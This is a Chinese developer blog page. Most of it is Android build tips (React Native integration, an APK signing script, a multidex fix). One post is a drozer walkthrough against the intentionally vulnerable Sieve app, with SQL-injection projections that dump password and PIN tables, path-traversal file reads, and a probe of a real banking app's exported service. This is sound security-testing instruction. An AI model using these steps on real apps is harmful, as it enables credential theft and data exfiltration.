ReactNatvie集成到原生项目填坑备忘录

Standard

1. 目录结构

以下结构为建议结构,不强制,使用该结构可以解决很多困难存在的问题。
Snip20170115_1

2.引用的react native版本

本来这个问题不应该存在,但是在jcenter和本地maven都存在的时候,发现默认引用的是0.2x的版本,导致很多类都对应不上,按照官方的文档集成也是各种报错,此时可以尝试检查引用的com.facebook.react.modules.core.DefaultHardwareBackBtnHandler,看看是否和你npm安装的版本一致。
Snip20170115_2

3.maven配置

按照第一点的目录结构,那么项目的配置build.properties如下:
注意$rootDir/node_modules/react-native/android路径。

// Top-level build file where you can add configuration options common to all sub-projects/modules.
buildscript {
    repositories {
        jcenter()

    }
    dependencies {
        classpath 'com.android.tools.build:gradle:2.2.2'
    }
}

allprojects {
    repositories {
        mavenLocal()
        jcenter()
        maven {
            // All of React Native (JS, Android binaries) is installed from npm
            url "$rootDir/node_modules/react-native/android"
        }
    }
}

task clean(type: Delete) {
    delete rootProject.buildDir
}

4.编译版本问题

表现为,运行时报错:
Caused by: java.lang.IllegalAccessError: Method 'void android.support.v4.net.ConnectivityManagerCompat.<init>()' is inaccessible to class 'com.facebook.react.modules.netinfo.NetInfoModule'

怀疑是React Native使用的版本原因,请设置app/build.gradle (设置'com.android.support:appcompat-v7:23.0.1')

其他待续(坑较多,慢慢来)

drozer简易操作说明

Standard

安装

  1. 安装drozer-agent-x.x.x.apk并开启服务,服务默认监听31415端口。
  2. 通过adb forward 转发31415端口:adb forward tcp:31415 tcp:31415
  3. 通过drozer console connect连接设备。

使用

  1. 获取获取Android设备上的所有的安装的App的包名
    run app.package.list,也可以通过-f key增加关键词过滤run app.package.list -f sieve

  2. 获取某个应用的基本信息,参数为程序包名
    run app.package.info -a packageName

    dz> run app.package.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
    Process Name: com.mwr.example.sieve
    Version: 1.0
    Data Directory: /data/data/com.mwr.example.sieve
    APK Path: /data/app/com.mwr.example.sieve-2.apk
    UID: 10056
    GID: [1028, 1015, 3003]
    Shared Libraries: null
    Shared User ID: null
    Uses Permissions:
    - android.permission.READ_EXTERNAL_STORAGE
    - android.permission.WRITE_EXTERNAL_STORAGE
    - android.permission.INTERNET
    Defines Permissions:
    - com.mwr.example.sieve.READ_KEYS
    - com.mwr.example.sieve.WRITE_KEYS
    

    可以看到应用的版本信息,数据存储的目录,用户ID,组ID,是否有共享库,还有权限信息等。

  3. 确定攻击面(Itentify The Attack Surface)
    run app.package.attacksurface packageName

    dz> run app.activity.info -a  com.mwr.example.sieve
    Attack Surface:
    3 activities exported
    0 broadcast receivers exported
    2 content providers exported
    2 services exported
    is debuggable
    

    显示了潜在可以利用的组件个数: “exported”表示组件可以被其他App使用。 services is debuggable表示我们可以用adb绑定一个调试器到进程

  4. 进一步获取Attack Surface的信息
    run app.activity.info -a packageName

    dz> run app.activity.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
    com.mwr.example.sieve.FileSelectActivity
    com.mwr.example.sieve.MainLoginActivity
    com.mwr.example.sieve.PWList
    
  5. 启动Activities
    run app.activity.start --component packageName activityName

    dz> run app.activity.start --component
    com.mwr.example.sieve com.mwr.example.sieve.PWList
    
    dz> help app.activity.start
    usage: run app.activity.start [-h] [--action ACTION] [--category CATEGORY [CATEGORY ...]]
              [--component PACKAGE COMPONENT] [--data-uri DATA_URI]
              [--extra TYPE KEY VALUE] [--flags FLAGS [FLAGS ...]]
              [--mimetype MIMETYPE]
    
    Starts an Activity using the formulated intent.
    
  6. 从Content Provider中获取信息
    run app.provider.info -a packageName

    dz> run app.provider.info -a com.mwr.example.sieve
    Package: com.mwr.example.sieve
    Authority: com.mwr.example.sieve.DBContentProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.DBContentProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False
    Path Permissions:
    Path: /Keys
    Type: PATTERN_LITERAL
    Read Permission: com.mwr.example.sieve.READ_KEYS
    Write Permission: com.mwr.example.sieve.WRITE_KEYS
    Authority: com.mwr.example.sieve.FileBackupProvider
    Read Permission: null
    Write Permission: null
    Content Provider: com.mwr.example.sieve.FileBackupProvider
    Multiprocess Allowed: True
    Grant Uri Permissions: False
    

    两个exported的content provider的具体信息,包括名字,权限,访问路径等。

  7. 查找可以访问Content Provider的URI(数据泄漏)
    run scanner.provider.finduris -a packageName

    dz> run scanner.provider.finduris -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Unable to Query content://com.mwr.example.sieve.DBContentProvider/
    ...
    Unable to Query content://com.mwr.example.sieve.DBContentProvider/Keys
    Accessible content URIs:
    content://com.mwr.example.sieve.DBContentProvider/Keys/
    content://com.mwr.example.sieve.DBContentProvider/Passwords
    content://com.mwr.example.sieve.DBContentProvider/Passwords/
    

    检测出了可以访问content的URI,接下来我们可以用drozer的其他模块和URI从content中获取,甚至更改信息

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
    --vertical
    _id: 1
    service: Email
    username: incognitoguy50
    password: PSFjqXIMVa5NJFudgDuuLVgJYFD+8w== (Base64-encoded)
    email: incognitoguy50@gmail.com
    

    获取了用户名,邮箱帐号,和Base64编码的密码字符串

  8. SQL注入

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
    --projection "'"
    unrecognized token: "' FROM Passwords" (code 1): , while compiling: SELECT ' 
    FROM Passwords
    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
    --selection "'"
    unrecognized token: "')" (code 1): , while compiling: SELECT * FROM Passwords
    WHERE (')
    

    命令执行后Android设备返回了非常详细的错误信息

  9. 使用Sql注入列出数据库中的所有数据表

    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
    --projection "* FROM SQLITE_MASTER WHERE type='table';--"
    | type | name | tbl_name | rootpage | sql |
    | table | android_metadata | android_metadata | 3 | CREATE TABLE ... |
    | table | Passwords | Passwords | 4 | CREATE TABLE ... |
    | table | Key | Key | 5 | CREATE TABLE ... |
    
    dz> run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
    --projection "* FROM Key;--"
    | Password | pin |
    | thisismypassword | 9876 |
    
  10. 从File System-Backed Content Providers获取信息
    File System-backed Content Provider提供了访问底层文件系统的方法,Android沙盒会阻止App共享文件允许,而File System-backed Content Provider允许App共享文件。 对于sieve来说,我们可以推测出的FileBackupProvider就是一个file system-backed content provider。 我们可以使用drozer的app.provider.read模块查看某个文件或者下载文件。

    dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
    127.0.0.1 localhost
    
    dz> run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
    /data/com.mwr.example.sieve/databases/database.db /home/user/database.db 
    
  11. 检查Content Provider的脆弱性
    检查是否有sql注入run scanner.provider.injection -a packageName
    检查是否存在遍历文件的漏洞run scanner.provider.traversal -a packageName

    dz> run scanner.provider.injection -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Injection in Projection:
    content://com.mwr.example.sieve.DBContentProvider/Keys/
    content://com.mwr.example.sieve.DBContentProvider/Passwords
    content://com.mwr.example.sieve.DBContentProvider/Passwords/
    Injection in Selection:
    content://com.mwr.example.sieve.DBContentProvider/Keys/
    content://com.mwr.example.sieve.DBContentProvider/Passwords
    content://com.mwr.example.sieve.DBContentProvider/Passwords/
    dz> run scanner.provider.traversal -a com.mwr.example.sieve
    Scanning com.mwr.example.sieve...
    Vulnerable Providers:
    content://com.mwr.example.sieve.FileBackupProvider/
    content://com.mwr.example.sieve.FileBackupProvider
    
  12. 和Services交互
    获取是exported状态的services的命令run app.service.info -a packeageName

    dz> run app.service.info -a com.bank.pingan
    Package: com.bank.pingan
    com.pingan.bank.apps.cejmodule.services.StatisticsService
    Permission: null
    
  13. 向某个服务发送信息
    run app.service.send packageName serviceName --msg 1 5 3

  14. 其他常用模块
    shell.start 在Android设备上开启一个交互式Linux Shell
    tools.file.upload / tools.file.download
    tools.setup.busybox / tools.setup.minimalsu 安装busybox或者minimalsu到Android设备上

参考链接

Github Drozer
drozer guide

apk批量签名脚本

Standard

apk批量签名脚本

脚本来自互联网。

#! /bin/sh
function signApk
{
    echo "=========Start sign apk ### $1 ### with keystore. "
    jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore keystore文件路径 -storepass 密码 $1 签名证书别名
    echo "=========Start zipalign apk ."
    zipalign -f -v 4 $1 ./release/$2_realease.apk
}
# get this script path
# filepath=$(cd "$(dirname "$0")"; pwd)
# go into the script folder
cd `dirname $0`
# check command jarsigner  exsit
command -v jarsigner >/dev/null 2>&1 || { echo >&2 "I require jarsigner but it's not found.  Aborting."; exit 1; }
# make a folder to storage apk after sign and zipalign
mkdir ./release
for entry in ./*
do
    echo "$entry"
    file=$entry
# echo “filename: ${file%.*}”
    extension=${file##*.}
    echo "$extension"
if [ "$extension" = "apk" ]; then
    echo "is a APK"
    fileName=${file%.*}
    isRelease=${fileName#./FILE_NAME*_}
    if [ "$isRelease" = "release" ]; then
        echo "is a release version ,so ignore"
    else
        echo "not a release version,start sign..."
        signApk $file $fileName;
    fi

else
    echo "not a apk file, ignore"
fi
done
 echo "sign all apk file successfully!"

解决conversion to dalvik format failed unable to execute dex cannot merge new index

Standard

这个问题估计很多人都找过解决办法,网上提供很多都是说在project.properties里面添加dex.force.jumbo=true,事实是很多时候在eclipse里面,添加了依旧报错。

直接说解决办法吧:

1、设置引用MultiDexApplication(在support包里面有jar,引入项目)

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.android.multidex.myapplication">
    <application
        ...
        android:name="android.support.multidex.MultiDexApplication">
        ...
    </application>
</manifest>

2、如果你有自己实现的Application或者引了别的Application,那么手动实现:

@Override
  protected void attachBaseContext(Context base) {
    super.attachBaseContext(base);
    MultiDex.install(this);
  }

参考:Building Apps with Over 65K Methods